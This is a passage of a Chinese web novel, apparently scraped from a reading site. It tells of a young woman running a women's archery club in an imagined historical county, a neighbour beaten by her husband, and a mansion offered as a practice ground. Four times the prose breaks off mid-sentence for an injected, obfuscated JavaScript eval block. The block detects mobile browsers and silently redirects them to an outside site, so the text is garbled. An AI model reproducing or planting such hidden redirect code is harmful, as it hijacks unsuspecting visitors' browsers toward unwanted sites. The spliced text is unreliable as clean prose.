“哎!你别误会,我可没有说讨厌他,我只是觉得,你是女子弓箭社社长,射艺这么高超,根本用不着请别人来当教头,况且咱们弓箭社的人也没有多到需要你另请别人来教的地步吧。”龙世蓉说道。 姜佑安点了点头,“嗯,龙姑娘说得也有理。” “我就这么被扫地出门了?”黎泱泱无奈地问道。 姜佑安走了过去,“黎公子,咱们出去聊吧。” 黎泱泱跟着姜佑安出了院子,“你刚才还说喜欢我,现在就要赶我走?” “喜欢是喜欢,但女子弓箭社里确实不能有男人,就和你们锦标社里不能有女人一样。”姜佑安略带愧疚地说道。 “要不然,你还是加入我们锦标社吧。”黎泱泱说道。 “你爹能同意?”姜佑安惊讶地问道,随即又摇了摇头,“不行,我都有社员了,就算你爹同意,我也不能加入锦标社。” “社团不过是玩玩,你这么认真做什么?”黎泱泱问道。 “对我来说,不是玩玩,我要教这些姑娘们真本领。”姜佑安认真地说道。 黎泱泱很是不解,“教她们射箭做什么?还不如学织布绣花。” “织布绣花哪个女人不能学?我偏要教她们平时学不到的东西。”姜佑安说道。 黎泱泱笑了,“姑娘当真有趣。” 看着黎泱泱的笑脸,姜佑安觉得十分可惜,感叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037225|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“公子是当真貌美,可惜我以后不能常看到你了。” “我可以常来看姑娘。”黎泱泱俯身看着姜佑安的眼睛,“不过,我有一个问题想问姑娘。” 姜佑安情不自禁地伸手摸了摸黎泱泱近在咫尺的脸,痴痴地问道:“公子想问什么?” 黎泱泱抓住了姜佑安的手腕,眼神骤然变得犀利,“我想问,赵雄是你杀的吗?” 姜佑安心里一惊,抽回了手,向旁边看去,不远处龙世蓉和许家莺带来的小厮和丫鬟都在马车边站着,见她看过来,忙移开视线。 姜佑安后退了两步,恢复了平静,“你说什么呢?” 黎泱泱向前逼近,“听说赵雄是被弓箭所伤,他身上残余的箭头,正是你所用的箭,他曾来你家勒索过钱财,是你不忿,将他杀了,然后抛尸到河里的吧。” 姜佑安推开了黎泱泱,“你是赵雄什么人?” “我?我不认识他。”黎泱泱说道。 “既然不认识,你问这个做什么?”姜佑安警惕地问道。 “不瞒姑娘,我们锦标社因为姑娘的告发,不能再办赌局不说,还给了知县大人一大笔钱财,才避免了我爹啷当入狱,我爹对姑娘怀恨在心,让我来寻姑娘的错处,好施以报复。”黎泱泱坦然说道。 “原来是这样,你自认已经握住了我的把柄,所以才来跟我摊牌?”姜佑安问道。 “我只是想提醒姑娘,县里有想置你于死地的对手,你可不要掉以轻心。”黎泱泱说道。 姜佑安听了,疑惑不解,“你想去告官,尽管去告就是了,跟我说这些做什么?要我做好心理准备?” “我爹一心想要让你栽个大跟头,好补偿他折损的面子,你身上有命案,就不该如此招摇。”黎泱泱说道。 “你误会了,我身上没有命案。”姜佑安说道。 “姑娘射艺和行事风格,都让我颇为佩服,我不想姑娘因为我爹而受伤,希望姑娘以后能够低调行事,保全自身。”黎泱泱向姜佑安行了一礼,“姑娘要办女子弓箭社,以后我就不便前来了,姑娘保重,我告辞了。” 看着黎泱泱远去的背影,姜佑安喃喃自语,“他到底什么意思?是要告发我?还是要帮我隐瞒?” 龙世蓉从院内走出来,向姜佑安问道:“隐瞒什么?他拒绝你了?” 姜佑安吃惊地转过头来,“你都听见了?” “没有,我刚走过来,他就已经走了,怎么样,他没答应要娶你?”龙世蓉问道。 姜佑安笑了起来,“没有,不过,我也没有想要嫁给他。” “什么?”龙世蓉想不明白,“不想嫁给他,那你为什么要说你喜欢他?” “喜欢是喜欢,婚嫁是婚嫁,能一样吗?”姜佑安笑着说道。 “怎么不一样?你喜欢他,不就是想嫁给他的意思吗?”龙世蓉问道。 姜佑安摇了摇头,“我说的喜欢,只是喜欢他的样貌,他的身材,想要他能时常陪在我身边罢了。” “这就是你的喜欢?”龙世蓉有些嫌弃地批评道:“真是轻浮!” “成亲要看的是人品,只看了外貌,互相不了解就要嫁人,如此行事,才是轻浮吧。”姜佑安反驳道。 65. 迷茫 龙世蓉听了若有所思,许家莺见龙世蓉在外面,也走了出来,欢快地招呼她:“阮姑娘还养了兔子,世蓉,你快过来看!” “哎!来了。”龙世蓉应着,进了院去。 姜佑安向大路看去,黎泱泱的身影已经消失在河边的小树林里,算了,随他去吧。 回了院里,姜佑安宣布了自己给小阮妹妹起的阮晨烟这个名字,阮荷、袁竹和李长风都说起得好,连连叫着阮晨烟,帮她适应。 龙世蓉看够了小鸡和兔子,向姜佑安她们告了别,和许家莺一起走了,临走时,她还跟姜佑安说不用准备她俩的弓箭,明天她们自己带来。 姜佑安高兴地答应了,两人再来时,果然都带了弓箭和扳指。 袁竹带着阮晨烟去县里卖花去了,屋里戴庭芳在教书,院子外的大路边,弓箭社的新成员正在练习射箭,李初五这个前辈在一旁指导。 姜佑安在院门口坐着晒太阳,程祥搬了椅子坐在她身边,“你这女子弓箭社还真办起来了。” 姜佑安靠着椅背,仰头沐浴着阳光,“只要我想办,就没有办不成的。” “那黎泱泱呢,你追到了吗?”程祥笑着问道。 姜佑安睁开眼睛,看着已经抽穗的麦田,“别说追到了,日后他把我送进监狱都有可能。” 程祥很是惊讶,“送进监狱?你对他做什么了?” 姜佑安笑了笑,“没做什么,只是摸了摸他的脸。” “你吃人豆腐,还说没什么?”程祥责怪道,但想了一想,好像又不太对,“只是摸了他的脸,也不至于把你送进监狱吧。” “还有我告发他们锦标社聚众赌博的事,反正人是追不到了,算了,不说这个了。”姜佑安叹了口气。 “你告发的?锦标社的事,不是我们老爷去告发的吗?”程祥问道。 “戴院长?他也去告发了?”姜佑安问道。 “是啊,我家公子跟老爷说了书院里有学生在锦标社赌博,老爷就去县衙告发了,还把范玉成给开除了。”程祥说道。 “原来是这样。”姜佑安说道。 “你要不要跟黎公子解释一下?”程祥问道。 姜佑安摇了摇头,“无所谓,反正我也去告发过。” 程祥看向在路边练箭的龙世蓉和许家莺,“那两位姑娘是哪里来的?看着不像是村里的姑娘。” “跟你们一样,是从县里来的,一个家里是开绸缎庄的,叫许家莺,另一个姓龙,叫龙世蓉。”姜佑安介绍道。 “龙世蓉?她就是龙家的独女?”程祥有些惊讶地问道。 “这我哪知道,我只知道她的名字,你听说过她?”姜佑安问道。 “你不知道?龙家可是县里数一数二的富商,听说他家只有一个独生女,从小就给这个女儿请了老师,读书识字、算账经商,样样都要学,我还听说,龙家的商号以后肯定是由这个女儿继承,有好多人上赶着想当他家赘婿呢。”程祥说道。 “果然是有了钱,就不会缺男人。”姜佑安感叹道。 程祥向正在射箭的两人看去,“龙小姐应该也到了要议亲的年纪,真不知道哪个男人有这个福气。” 姜佑安回头看向程祥,“你去试试呢。” “我?”程祥连连摆手,“我怎么能行?你就别开我的玩笑了。” “怎么不行?你现在也恢复自由身了,去龙家做赘婿,不比在戴家做仆人要好得多?”姜佑安说道。 戴庭芳不知道什么时候出现在院门边,脸色颇为不悦,“姜姑娘,你就这么想让程祥离开戴家吗?” 姜佑安尴尬地笑了笑,“我只是随口说说,谁能做龙家赘婿还要看龙姑娘的心意。” 程祥起身把椅子让了出来,戴庭芳便顺势坐下了。 “程祥你都恢复自由身了,怎么还这样让着他?”姜佑安问道。 程祥笑了笑,“公子是我的雇主,我让着公子是应该的。” 姜佑安扫了戴庭芳一眼,“戴公子,我怎么总感觉你在偷听我们说话呢?” “我并没有偷听,只有让表妹和长风自己练习的时候,我才出来走动走动,正好听说你们说话。”戴庭芳正色道。 “我家公子是正人君子,不会偷听我们说话的。”程祥在一旁解释道。 “戴公子都听到什么了?”姜佑安问道。 戴庭芳眨了眨眼睛,“只听到赘婿的事。” 姜佑安胳膊肘拄在膝上,手撑着下巴,歪着脑袋看向戴庭芳,“戴公子的病已经好了吧,令尊令堂有给你议亲吗?你要是成了亲,是不是就不能来这里了?” 戴庭芳移开视线,看着一旁地上的野草,“我被罢了官,以后都不能参加科考,像我这样没用的人,不想耽误别的姑娘。” “冲着你的容貌和家世,娶亲也不难,就算不能当官,继承你父亲的书院,不也是一条出路吗?”姜佑安说道。 “也许吧,但我不想那么做。”戴庭芳说道。 姜佑安思索了片刻,“难道你觉得,不能科考当官,你这一辈子就完蛋了?” 戴庭芳垂下脑袋,低声说道:“我,确实不知还能做些什么。” 姜佑安呵呵一笑,“世上的路,难道只有科举一条?如果不做官,就没什么能做的了,那全天下不能科举的女人、贱民和奴仆,他们要怎么办?就拿袁竹来说,别说科举了,她大字都不识一个,不也照样种花卖花,好好地活着?” “是啊,公子,你这些日子在书院讲经,不是做得挺好的吗?”程祥说道。 “正是因为在书院讲经,我才发觉,我不想继承书院。”戴庭芳说道。 “为什么?”姜佑安问道。 戴庭芳抬起头,看向远处的山,“那些莘莘学子,满怀希望进入书院求学,他们读书明理,论文议政,以为一旦金榜题名,就能施展报复,成为朝廷栋梁,殊不知官场昏暗,人人拉帮结派,党同伐异,皇上善恶不分、忠奸不辨,这些学生就算走上仕途又能如何?要么,像我一样铩羽而归,更有甚者,会丢了性命,要么,从斗志昂扬的少年,变成同他们一般黑的乌鸦,我看着他们殷切期盼的眼睛,怎么能告诉他们,他们要面对的是那样的未来?” “官场昏暗,皇帝无能,一个小小的书院,确实无能为力。”姜佑安附和道。 程祥紧张地四处张望,“公子,姜姑娘,还是不要议论皇上吧。” 戴庭芳没有理会程祥,他看向姜佑安,颇有几分知己之感,“姑娘从京城来,想必对官场的乱象也有所耳闻吧。” “当然。”姜佑安点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044602|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神中带着一丝愤恨,“倘若不是皇帝无能,这偌大的国家,怎么会无人可用,以至于要把他的亲生女儿送到北国和亲?这当真是皇室的耻辱,我国的耻辱!” “想不到姑娘也会有这样的家国情怀。”戴庭芳感叹道。 “公子过奖了,同为女人,我只是有些心疼那位公主罢了。”姜佑安说道。 “我白读了这些年的书,真不知道该如何是好,在朝中无用武之地,也许我该归隐田园,像袁姑娘一样种花,远离这世间的种种。”戴庭芳说道。 “你既然不愿意在书院教书,怎么又愿意来教小阮?”姜佑安问道。 戴庭芳挺直了身子,脸上有了些笑意,“表妹她不一样,她读书不为科举做官,只为求知,她每多学一个字,都会觉得高兴,她在把未知变成已知,她在探索,在学习书中的一切,把那些她不懂的东西教给她,我也获得了一种成就感,这让我觉得,我在做正确的事。” 姜佑安笑了笑,“这不是挺好的嘛,你不用去种花种地,就已经找到了你认为正确的事。” “可我也不能一直教她,不能一直让我爹养着我,要是种花种地,我就能养活自己了。”戴庭芳有些犹豫。 “那我就付给你教书的束脩吧。”姜佑安说道。 戴庭芳不同意,“我教我表妹,怎么能让你付束脩?” “现在,我和小阮才是一家人。”姜佑安说道。 “我本意是想自己养活自己,这样一来,不就成了你和袁姑娘养着我?这样绝对不行!”戴庭芳说道。 “袁姑娘卖花的收入,还要养活你们一家人,公子怎么好意思收你们的钱。”程祥也附和道。 “要不然,你就找几家像小阮一样的学生。”姜佑安站起身来,向龙世蓉喊道:“龙姑娘,许姑娘,你们过来一下。” 戴庭芳见两位姑娘走过来,慌忙站起身就要往院里走,姜佑安一把拽住了他的胳膊,“你跑什么?” “叫我们干什么?”龙世蓉问道。 “这位戴公子是县里书院戴院长的儿子,曾经是皇上钦点的探花郎,他现在想找一个教书的活,你们认不认识谁家的小姐要找老师的?”姜佑安扯着戴庭芳的袖子问道。 “戴院长的公子,想教书,在书院不就教了,还找别人做什么?”龙世蓉问道。 “姜姑娘随便说的,你们不用当真,我回屋教书去了。”戴庭芳推开姜佑安的手,匆匆进了院门。 “戴公子怎么了?”许家莺好奇地问道。 “她说话做事如此出格,肯定是吓到那个书呆子了。”龙世蓉说道。 程祥听了,心里不大舒服,“我家公子可不是书呆子。” “我管他是不是。”龙世蓉看向姜佑安,“我听你保证说是女子弓箭社才参加的,总有男人在场是怎么回事?” “我不是跟你解释了吗?小阮在读书,戴公子是小阮的表哥,也是她的老师。”姜佑安说道。 “我不管这些,连射箭的场地都没有,只在人来人往的大路边挂个靶子,就是弓箭社了?真是不像个样子!我和家莺是来学射箭的,不是跟你闹着玩儿的!我们要回去了,等你什么时候有了射箭的场地,我们再来。”龙世蓉说完,也不等姜佑安说活,就拉着许家莺上了马车,往县里去了。 66. 暴力 “姜娘子。”李初五走了过来,“龙娘子和许娘子怎么走了?” 被龙世蓉训斥了一番,姜佑安觉得有些难堪,她扯着嘴角笑了笑,“没什么,她们俩有事先回去了,有空了再来,你自己练去吧。” “嗯。”李初五点点头,自己练习去了。 “弓箭社确实应该有个场地才是。”程祥轻声说道。 “我知道。”姜佑安坐回椅子上,“这不是一直没找到合适的场地吗?再说了,她们俩也不是真心来学射箭的,只是来替绸缎庄的许公子来求亲的。” “求亲?”程祥在姜佑安身旁坐下,“许公子想娶谁?” “还能是谁?我们家年轻漂亮的小阮呗。”姜佑安说道。 程祥点了点头,“绸缎庄的许家,是个不错的人家,阮姑娘怎么说?” “她一门心思读书识字、种田卖花,连许公子的面都不想见。”姜佑安说道。 “这样的生活是挺好,可阮姑娘也该为以后打算打算。”程祥说道。 “她想过什么样的人生,由她自己决定,倒是你……”姜佑安看向程祥,“你以后有什么打算,都恢复了自由身,还打算继续伺候戴公子吗?” 程祥回头看了看,以防戴庭芳又突然出现,“我,还没想好,本来以为要当一辈子的奴才,子孙后代也都是奴才,如今有了别的选择,也不知怎么是好。” “没关系,慢慢想吧,我们都慢慢想,未来虽然是未知的,一步步走下去,就知道了。”姜佑安站起身,走到李初五身旁,指导她射箭去了。 程祥坐在椅子上,想了很久很久。 打这以后,龙世蓉和许家莺就没再过来了,麦田变得金黄,农民们渐渐忙起来,李初五和阮晨烟也都忙着自家的事,没空过来,姜佑安每日除了练习射箭,就是跟着袁竹一起下地干活,挖坑、种树、除草、浇水、搭架子,什么活都干。 天气越来越热,太阳越来越毒,即使袁竹把各种活都安排在了清晨和傍晚,姜佑安的皮肤也眼看着越来越黑了,阮荷和李长风也帮着干活,却都没像她这么容易晒黑。 姜佑安对自己的肤色毫不在意,只想着美貌男人的事,弓箭社不能招男人,她要继续赚钱才行。 姜佑安借了陈大用的板车,去县里瓷器铺买了很多花盆回来,把袁竹疏苗拔下来的虞美人和菊花种在花盆里,到时候开花了,连盆一起卖,肯定能卖个好价钱。 袁竹觉得这是个好主意,和她一起种了花,还买了一辆板车回来,等花开了,就可以推着车出去卖。 花盆摆满了半个院子,杨恩听说了,过来在院子里搭了棚子,棚顶可拆卸,有太阳的时候就给拆下来,让花苗晒太阳,下雨的时候还能挡挡雨,省得小苗被雨打坏。 姜佑安对这个棚子非常满意,给杨恩结了工钱和料钱,杨恩起初不肯收,袁竹说阮荷每日给大家做饭都是有工钱拿的,让他不用客气,杨恩才安心收下了。 这天下午,天气阴沉沉的,袁竹感觉要下雨,就早早带着姜佑安回了家。 四人一起把棚子的棚顶搭上,而后泡了茶,坐在走廊下喝茶,等着大雨降临。 为了搭棚子,院子里的丝瓜架被拆掉了一部分,剩下的架子上,长满了绿油油的新叶,看着可爱极了。 阮荷抬头看着天,感叹道。“这场雨应该不小。” “是啊,好在村里的麦田都收完了。”袁竹附和道。 “我看山下那个宅子门口,原先干活的人都拿着一堆东西走了,应该是都完工了吧。”姜佑安说道。 “忙活了这么久,不知道会搬来一个什么样的人家。”阮荷说道。 李长风喝了一口茶,“肯定是个有钱人,前两天我过去看了,那个宅院外面看着破旧,但着实不小,我走了好长时间,才绕了一个圈。” “大户人家家里的人肯定不少,那里离咱们的花田那么近,别有人过去破坏就好。”袁竹有些担忧地说道。 “这可说不准,要是折了花,就让那家人赔。”姜佑安说道。 “我们都不在附近,那里知道是谁折的。”袁竹叹了口气,“本想着那边人少,才租了那边的田,没想到那个破屋子竟然又要住人了。” “等雨停了,我们砍些竹子回来做篱笆吧。”阮荷提议道。 姜佑安点了点头,“嗯,也只能如此了。” “啪!”的一声,袁竹狠狠打了自己胳膊一下,把其他人都吓了一跳。 “我说你打蚊子能不能动静小点儿!”姜佑安抱怨道。 袁竹反驳道:“我打的是我自己,你管这么多干什么?” 阮荷笑着劝解道:“最近天热了,连蚊子都多起来了,等天晴了,该去割点艾草回来了。” “可不是,昨天晚上就咬得我没睡好,对了!我买了纱帐,小阮,你帮我一起去挂起来吧,还有长风的,也得挂起来了。”姜佑安说着进屋去找纱帐去了。 阮荷和李长风去院子一角抽出几条竹棍来,跟着进去绑纱帐。 两人才刚进屋,外面就轰隆隆打起雷来,见天色越来越暗,袁竹把走廊下的椅子还有一些怕雨淋的东西都挪进了屋里。 轰隆隆的雷声更响了,姜佑安在昏暗在房间里系纱帐,听到大雨哗啦啦落下,遮蔽了雷声,一股湿气涌入房间,外面是倾盆大雨,屋里却是温暖的、安全的,让她觉得安心。 系好了纱帐,姜佑安出了房间,见袁竹并不在堂屋里,她向院子里看去,看到袁竹、张慈和李初五站在院门的屋檐下说话,雨声太大,她听不到她们说了什么。 下这么的雨,她们这么会在这里?难道是刚才县里回来,来这里避雨? 袁竹把斗笠带在张慈的头上,张慈取下来,带在了李初五头上,兀自走进了雨里,向屋里走来,袁竹和李初五顶着蓑衣跑到了走廊下。 阮荷忙去拿了手巾过来给她们擦雨水,张慈抬起头来,姜佑安才看见她脸上带着伤。 “你的脸怎么了?是摔倒了吗?”姜佑安问道。 张慈躲避着姜佑安的视线,拿手巾擦着头发上的水,低声答道:“我没事。” 阮荷俯身给李初五擦脸,惊讶地问道:“初五,你怎么哭了?” 李初五转身扑在了张慈怀里,叫了一声“娘”,就大哭起来。 “怎么了这是?”姜佑安向袁竹问道。 一口气在袁竹的胸口出不来,让她感觉憋闷无比,“是李元义那个王八蛋打了张姐。” 姜佑安一听,顿时火气就上来了,“他为什么打人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056222|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “都怪我,是我不好。”李初五哭着说道。 张慈抚摸着李初五的脑袋,“不怪你,是娘不好。” “到底是怎么了?发生什么事了?”姜佑安着急地问道. “先进屋吧,进去坐下慢慢说。”袁竹说道。 “你们身上都湿了,会着凉的,先进屋换身衣裳吧。”阮荷说道。 张慈不停地流着泪,“谢谢。” “客气什么,我们难的时候,你不也帮过我们?快进来。”袁竹拉着张慈进了里屋,找出衣服来,给张慈和李初五换上。 两人穿着干爽的衣服,坐在昏暗的房间里,眼泪渐渐止住了。 姜佑安打开门,李长风站在了门口,好奇地向里面张望,“李初五怎么了?” “我也不知道,听她们慢慢说吧。”姜佑安说道。 “都怪我,黎公子来找我一起练箭,被我爹看见了,我爹就说黎公子是来找我娘的,我娘说不是,我爹就把我娘打了。”李初五说着,眼眶又不禁湿润起来。 姜佑安感到很惊讶,“黎泱泱?他去找你了?” “是,最近他经常来找我,我娘看我喜欢练箭,就让我们俩在院子练。”李初五说道。 “就因为这点小事,他就打人?”袁竹十分气愤。 张慈低着头,纷乱的头发遮着眼,“他对我一直有气,我嫁给他十多年了,只有初五一个女儿,都怪我没用,生不出儿子来。” 姜佑安不能理解,“就因为没有儿子,他就要打你?” 袁竹又气愤又无奈,“在这里,没有儿子,可以说是一件天大的事了,这么多年,你肯定不好过吧。” “我公公婆婆常想让他把我休了另娶,他一直没同意,他是个老实人,平时对我和初五都挺好的,都怪我,是我肚子不争气。”张慈抬手抹去了滑落到下巴上的眼泪。 “我看他未必是个老实人,只是家里穷,休了你,也找不到别的女人。”袁竹说道。 “张姐,有一件事,我们一直想要告诉你,但一直没想好怎么开口。”姜佑安有些为难地说道。 张慈抬起头,右眼眶一片青紫,“什么事?” 看到她脸上的伤,姜佑安心里十分心疼,“李元义曾经听信李贵传的谣言,以为我们这里是窑子,差点从院墙上翻进来,他根本不老实,只是没有机会,或者是手上没钱罢了。” 张慈大为震惊,“有这样的事?” “是去年的事了,当时我拿树枝把他打跑了,我一直想跟你说来着,怕你不肯相信,倒让我们之间变得生分。”袁竹说道。 “原来是这样。”张慈神情悲怆,喃喃地念叨着:“怪不得,怪不得他说你们这里就是窑子,还说我跟着你们也拉到客了,原来他真的是这样想的。” 姜佑安气得眼睛里都要冒火了,“他污蔑你和黎泱泱?因为他的一点疑心,就把你打成这个样子?黎泱泱呢?他没管?” “黎公子只是跟我娘打了个招呼而已,我爹看见了,当时也没说什么,等黎公子走了,我爹才过来跟我娘吵架。”李初五说道。 “这个狗东西,我也去把他打一顿!”姜佑安站起身往外走。 “我也去!”李长风手握着剑柄,跟了过去。 67. 宅院 袁竹起身追出去,“雨下得这么大,等停了再去吧。” “不用了,佑安!你回来吧,别伤到你!”张慈喊道。 姜佑安和李长风已经走进了雨幕中,雨声遮蔽了一切,却浇不熄怒火,两人去了李家,在两位老人惊愕的目光中,赏了李元义一顿胖揍,然后回了家。 雨已经变小,院门的屋檐下,袁竹和张慈正在向着村子张望,直到姜佑安和李长风踏着泥水回来,袁竹忙迎了上去,焦急地询问道:“他没事吧?你们没下重手吧?” 姜佑安笑了笑,“没事,还活着呢,我警告他了,以后再敢欺负张姐,我就再去揍他!” 张慈局促不安地搓着手,一句话都说不出来。 “没事了。”姜佑安牵着张慈的手向院里走去,“以后他保证再不敢打你了。” “那就好,那就好。”张慈小声地说着,眼泪和雨水融为一体。 傍晚,雨停了,张慈见袁家这么多人,她带着孩子在这里,也没地方歇息,于是要带着李初五回家做饭去了。 “张姐,你要好好想想,你真的想继续和这样的人一起生活吗?”袁竹拉着她的手劝道。 张慈垂下眼帘,“我不知道我还能怎么办,我爹娘都不在了,能回去投奔的只有哥哥,可他也有一家人要养,不会收留我这样一个嫁出去的外人。” “李元义刚挨了打,可能正一肚子气没地方发泄,你回去要小心些,他要是敢打你,你就还到这里来。”姜佑安说道。 “谢谢你们,我会小心的。”张慈顶着受伤的脸,勉强地笑了笑,领着李初五出了院门,两人在泥泞的路上,小心地向村里走去。 看着两人的背影,袁竹叹了口气,“要不是我丈夫死了,我可能也会像她一样,在婆家受一辈子气,不知道离开娘家婆家,自己也能活下去。” 姜佑安若有所思,“有你这个例子在,也许有一天,她也会想明白的。” “也许吧,但就算想明白了,女人要独自生活,也挺不容易的。”袁竹转身进了院子,往厨房走去。 “这不是还有我们吗?大家都是女人,可以互帮互助。”姜佑安说道。 袁竹进了厨房,把阮荷择好的菜放进盆里,打了水来洗菜,“你想得也太轻松了。” 姜佑安觉得大可以不必这么悲观,“一个人也许很难,但人多了,事情就会简单许多,不是吗?” “人多了,吃饭的嘴也变多了,你能负担得起?别说这些了,去把锅烧起来吧。”袁竹说道。 “哦。”姜佑安应了一声,乖乖地坐在了灶口前。 雨下过两日后,土路才干透,李初五高兴地来找姜佑安继续学射箭,姜佑安问起她家里的事,她说她娘和她爹和好了,不打架了,也不吵架了。 姜佑安这才放心了,拿了靶子和弓箭出来,和李初五一起练习。 大路上有一辆马车往山脚下去了,马车后面还跟着三个人,姜佑安和李初五远远地看见,他们到了山下那个宅院的门口,打开了院门,那些人忙进忙出,把马车里拉的东西都搬进了宅子里。 “看来那户人家快要搬进来了。”姜佑安说道。 “我爹说,那个宅子原本是县里的一个有钱人的,夏天才过来住一阵子,不过,也有好多年没人来住了,可能是前一阵子卖出去了,现在又有新主人要住进去了。”李初五说道。 “有钱人好啊,离得这么近,到时候咱们就去大门口卖花去。”姜佑安说道。 “好啊。”李初五高兴地答应道。 过了一阵子,马车带着那些人离开了,又有一马车驶了过来,姜佑安和李初五都探着头,想看看马车里有什么,这时,马车在她们身旁停了下来。 本以为马车里坐的是要到山脚下的人,门帘一掀开,却是阮晨烟从马车里走出来,马夫放置了脚踏,她欢快地走下来,跟姜佑安打招呼,“佑安姐姐,我们回来了。” “是晨烟姐姐回来了。”李初五惊喜地说道。 “怎么是你?”姜佑安一时没想明白怎么回事,“你不是跟袁竹一起卖花去了吗?怎么会坐马车回来?袁竹呢?” “袁姐姐也在啊。”阮晨烟回头向马车说道。 袁竹接着从马车上下来,里面的人把扁担和担子送了出来,马夫帮她把东西拿下来,她连声道谢。 “今天是怎么回事?你们怎么会雇马车回来?”姜佑安奇怪地问道。 “我哪里有钱雇马车,是她们要到山脚下去,跟我们正好顺路,才把我们捎上的。”袁竹说道。 “到山脚下去,是新搬来的那户人家吗?”姜佑安更加好奇了。 一只手掀开门帘,许家莺走了出来,被袁竹搀扶着下了地,“姜社长,我们来跟你学射箭了。” 姜佑安惊讶地看着她,“许姑娘?你怎么来了,龙姑娘不是说,没有场地就不来射箭吗?” “对啊,我是这么说的。”龙世蓉也从马车上跳了下来,“可你迟迟不去找场地,我只能自己想办法了。” “想办法?什么办法?”姜佑安迟疑地用手指向山脚下的宅院,“难道说…是那里?” “对。”龙世蓉略有些得意地点了点头。 “那宅院是龙娘子买下来了?”李初五兴奋地问道。 “不是我买的,那宅子是我家祖上修的,原本是用来避暑的,后来我爹嫌它破旧了些,便没有翻新,直接在北边山里新建了一所,这边的就弃置不用了。”龙世蓉解释道。 “世蓉迟迟等不到姜社长的消息,只好自己找场地了。”许家莺笑着说道。 “那刚才运过去的都是什么?”姜佑安问道。 “一些日用品,还有弓箭、靶子之类的。”龙世蓉指着一旁树上的靶子,“这个烂靶子,趁早扔了吧。” “不用扔,我拿去烧火好了。”袁竹笑着说道,“我原本还担心搬来一家陌生人呢,原来竟是你们,真是太好了。” “我让人把宅子重新收拾了,要不要一起去看看?”龙世蓉问道。 “好啊,自从我搬到这里来,还从没看到那院子的大门打开过,我也去凑个热闹吧。”袁竹把担子挑了起来,“都坐马车去太挤了点,这里离得也不远了,你们先去,我放好东西就过去。” “让初五和晨烟一起坐马车去吧,我去把小阮和长风叫上,我们一块走过去就行。”姜佑安说道。 “行,我们在大门口等你们。”龙世蓉和许家莺先上了马车,李初五和阮晨烟也上了马车,马夫收起脚踏,坐上马车,扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068422|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞭往山下驶去。 姜佑安和袁竹回了屋,跟正在写字的阮荷和李长风说明了情况,带着两人一起出了门。 太阳晒得人几乎睁不开眼,姜佑安一直念叨着忘了买把伞,下雨天没得用,大太阳也没得用,袁竹嫌她啰嗦,说明天就给她买,阮荷和李长风则一直好奇地看着山下的那所宅院。 渐渐走得近了,阮荷才发现这宅子真是不小,院墙也很高,正面墙上没有窗户,只在左侧开了一道大门,门上的牌匾写着福禄斋三个大字。大门已经打开,龙世蓉和许家莺正站在屋檐下等着她们。 大家互相打了招呼,都跟着龙世蓉走了进去,刚跨进院门,就看到右手边有一个小房间,门紧闭着,看来是做门房用的。 进到里面,正对着的是一面墙,上面雕着牡丹花,一旁写着两列小字,可能是时间久了,花和字都有残缺。 照壁右边是一个空房间,左边是一扇门,通向里面。 “这里我也好多年没来过了。”龙世蓉指着右边的房间,“我小时候还在这里读过书。” 走进左侧的门内,只见右手边是垂花门,左手边有三间房,窗户的门都是超内开的,正前方是一道门,门开着,里面也是一样门窗朝内开的房间,“这边的倒座房都是给下人住的,里面那间有时候也给客人住。” 龙世蓉领着众人进了垂花门,来到了一处宽阔的院子,正前方的主屋有三间房,两侧各有一个耳房,院子东西两侧各有厢房三间,厢房和垂花门之间,也各有一个耳房,垂花门后有抄手游廊连接各处,院子虽说有些破败了,但还是能看出当年主人的富贵。 “我本来想用我家养马的地方做场地,我爹说那里人多不安全,把这个地方收拾出来给咱们用,又安全,还能遮风避雨。”龙世蓉说道。 袁竹到处看着,不禁发出感叹:“这地方是挺好的,用来射箭,真有些浪费了。” “反正不用也是荒废着,没人用,不是更浪费?”龙世蓉说道。 “这里面的房间也收拾了?”姜佑安问道。 